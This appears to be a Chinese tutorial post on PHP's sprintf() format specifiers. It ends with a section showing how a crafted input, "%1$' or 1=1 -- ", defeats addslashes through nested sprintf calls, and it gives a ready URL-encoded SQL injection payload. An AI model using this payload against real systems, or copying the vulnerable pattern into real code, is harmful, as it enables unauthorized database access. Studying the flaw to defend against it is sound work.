PHP sprintf函数 bug

2023-07-31,,

sprintf()

定义和用法

format参数

可能的格式值:

%% - 返回一个百分号 %

%b - 二进制数

%c - ASCII 值对应的字符

%d - 包含正负号的十进制数(负数、0、正数)

%e - 使用小写的科学计数法(例如 1.2e+2)

%E - 使用大写的科学计数法(例如 1.2E+2)

%u - 不包含正负号的十进制数(大于等于 0)

%f - 浮点数(本地设置)

%F - 浮点数(非本地设置)

%g - 较短的 %e 和 %f

%G - 较短的 %E 和 %f

%o - 八进制数

%s - 字符串

%x - 十六进制数(小写字母)

%X - 十六进制数(大写字母)

附加的格式值。必需放置在 % 和字母之间(例如 %.2f):

+ (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记)

' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充))

- (左调整变量值)

[0-9] (规定变量值的最小宽度)

.[0-9] (规定小数位数或最大字符串长度)

注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。

bug(特定情况)

$pass=sprintf("and pass='%s'",addslashes("%1$' or 1=1 -- "));
$sql=sprintf("select * from user where name='%s' $pass",addslashes("root"));
// 输出:select * from user where name='root' and pass='' or 1=1 -- '

%1$' or 1=1 -- 用addslashes加上反斜杠之后%1$\' or 1=1 --

%1$\就是不正常的形式在第二行代码中被替换成空留下' or 1=1 --

%1$' or 1=1 -- 最好用URL编码一下


%251%24%27+or+1%3D1+--+


原因

  当format参数字符串中无法形成正常的%占位符时,返回值中不是正常形式%占位符将会替换成空

  形成不正常的占位符有很多种情况不按照format参数的可能格式和附加格式使用基本都是不正常的形式

  注入过程中根据情况进行构造

PHP sprintf函数 bug的相关教程结束。

《PHP sprintf函数 bug.doc》

下载本文的Word格式文档,以方便收藏与打印。